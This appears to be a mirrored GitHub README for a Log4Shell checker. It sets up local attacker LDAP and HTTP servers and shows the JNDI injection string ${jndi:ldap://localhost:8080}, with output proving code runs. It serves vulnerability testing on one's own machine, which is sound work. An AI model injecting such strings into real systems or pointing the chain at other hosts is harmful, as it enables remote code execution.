Giter Site home page Giter Site logo

log4j2-vulnerability-checker's Introduction

Summary

log4j2-vulnerability-checker

A local server that validates the log4j2 vulnerability "Log4Shell".

Install

Do it on the same linux machine as the application you want to verify:

# Get this repository
git clone [email protected]:MirrgieRiana/log4j2-vulnerability-checker.git

cd log4j2-vulnerability-checker

# Compile
bash gradlew installDist

Usage

1. Launch the servers

Launch the following commands in another window at the same time.

Attacker HTTP Server

This launches a HTTP server that distributes an Attacker Class File:

bash http.sh 8081

Attacker LDAP Server

This launches an LDAP server that redirects to the "Attacker HTTP Server":

bash ldap.sh 8080 8081

2. Execution of the vulnerability

By some ways, log the following string:

<<< ${jndi:ldap://localhost:8080} >>>

The string Attacker static init! is output to the stdout, stderr and logger.

Jibaku Application

Running Jibaku will cause the vulnerability.

$ bash jibaku.sh
Attacker static init!
Attacker static init!
21:11:55.154 [main] ERROR Jibaku - <<< ${jndi:ldap://localhost:8080} >>>

log4j2-vulnerability-checker's People

Contributors

mirrgieriana avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.